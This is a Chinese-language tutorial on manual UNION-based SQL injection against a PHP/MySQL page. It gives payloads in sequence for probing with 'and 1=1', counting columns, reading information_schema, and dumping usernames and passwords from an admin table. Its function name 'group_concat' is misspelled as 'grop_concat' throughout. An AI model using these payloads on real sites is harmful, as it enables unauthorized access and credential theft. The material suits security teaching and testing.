PHP mysql注入的基本過程

2022-07-29 08:00:16 字數 3364 閱讀 3320

1:驗證注入(and 1=1)

url:     and 1=1     sql語句:select * from article where id =『9 and 1=1』;返回正常

and 1=2     sql語句:select * from aritcle where id =『9 and 1=2』;返回報錯

2:判斷字元段數(order by和 union)

2.1    order by

url:      order by 1,2,3,4         sql語句:select * from aritcle where id =9  order by 1,2,3,4;

order by 在sql語句中是對結果集的指定列進行排序。

如:當我們測試到7時報錯,表明該錶只有6個字段

2.2     union select

url: union select null,null,null,null             sql語句:select * from aritcle where id=9 union select null,null,null;

union select 聯合查詢:可以用於乙個或多個select的結果集,但是他有乙個條件,

就是兩個select查詢語句的查詢必須要有相同的列才可以執行,利用這個特性我們可以進行對比查詢,

也就是說當我們union select的列與它查詢的列相同時,頁面返回正常。

如:當字段為6個時頁面返回正常,而大於或小於6個頁面會報錯。

解決兩個小問題:

問題一:大部分程式只會呼叫資料庫查詢的第一條返回(我們這個也是),而通過聯合查詢出的資料中,

我們想看到的資料是在第二條中,如果我們想看到我們想要的資料有兩種方法,第一種是讓第一條資料返回假,

第二種是通過sql語句直接返回我們想要的資料。

法一:我們讓第乙個查詢的結果始終為假

url: and 1=2 union select null,null,null,null,null,null

sql語句:select * from article where id = 9 and 1=2 union select null,null,null,null,null,null

結果:返回為什麼什麼也沒有呢 因為我們的第二個查詢中並沒有查詢到什麼 返回為null 自然就什麼也沒有了

我們把語句放在mysql中看一下返回結果:

法二:通過limit語句,limit在mysql中是用來分頁的,我們也可以通過他拿到我們想要的結果集

url: and 1=2 union select null,null,null,null,null,null limit 1,1

sql語句:select * from article where id = 9 and 1=2 union select null,null,null,null,null,null limit 1,1

返回也是空,同上面結果一樣

問題二:哪個列中的資料是在頁面中顯示出來的,可能有一些列中的資料只是用於後台程式對資料處理使用,

並不會在前台顯示,所以我們需要判斷哪個字段我們可以看到。如圖,我們通過數字代替了null進行查詢,

確定了2,3,4,5 四個字段可以在頁面中顯示。

回答一下為什麼我們不一開始就是用數字,因為union select 不僅要求列的數量相同,同時資料型別也要相似。

url: and 1=2 union select 1,2,3,4,5,6 limit 1,1

sql語句:select * from article where id = 9 and 1=2 union select 1,2,3,4,5,6 limit 1,1

3.查詢資料庫

可以通過使用mysql自帶的函式database()查詢,得到資料庫名:test

url: and 1=2 union select 1,database(),3,4,5,6 limit 1,1

sql語句:sql語句:select * from article where id = 9 and 1=2 union select 1,database(),3,4,5,6 limit 1,1

結果:顯示出test

4.查表名

查表名我們主要用到的是tables表。

這裡我們用到了group_concat它可以返回查詢的所有結果,因為我們需要通過命名判斷該我們需要的敏感資料。

這裡我們的目標是admin表。

url: and 1=2 union select 1,grop_concat(table_name),3,4,5,6 from information_schema.tables where table_schema='test'

sql語句:sql語句:select * from article where id = 9 and 1=2 union select 1,grop_concat(table_name),3,4,5,6 from information_schema.tables where table_schema='test'

結果:顯示出所有表名,第乙個為admin

5.查字段:

這裡同樣使用information_schema庫,這裡使用的是columns表。得到欄位id,username,password

url: and 1=2 union select 1,grop_concat(column_name),3,4,5,6 from information_schema.columns where table_schema='test' and table_name='admin'

sql語句:sql語句:select * from article where id = 9 and 1=2 union select 1,grop_concat(column_name),3,4,5,6 from information_schema.columns where table_schema='test' and table_name='admin'

結果:id,username,password

6:查資料

url:    and 1=2 union select 1,grop_concat(id,username,password),3,4,5,6 from admin

sql語句:     select * from article where id = 9 and 1=2 union select 1,grop_concat(id,username,password),3,4,5,6 from admin

結果就出來了

php mysql 注入基本過程

當mysql版本 5.0時我們只需要訪問information schema庫即可查詢資料庫的相關概要資訊,而對於 5.0的版本則需要爆破,今天我們測試的環境是mysql 5.5.40,對於小於5.0的mysql不建議手工測試,可以使用slqmap等注入工具輔助,成功率在於字典的大小。在mysql中...

mysql注入頁面 php mysql注入頁面實現

首先來借鑑一下注入點,以往的注入點是這樣的典型的數字型注入。id get id 獲取get方式傳過來的值並賦值給變數 既然是注入那麼肯定要運算元據庫。con mysql connect 127.0.0.1 root root 使用connect這個函式來連線資料庫,然後賦值給變數,connect這個...

php mysql注入環境搭建

php mysql注入環境搭建需要資料如下 1.安裝phpmystudy 自定義安裝好phpmystudy,啟動 執行phpmystudy 在phpmystudy安裝路徑下www目錄建立一下資料夾test,3.資料接受 建立資料庫,注入傳遞引數到資料庫 使用者名稱密碼都是root 建立乙個表列資料,...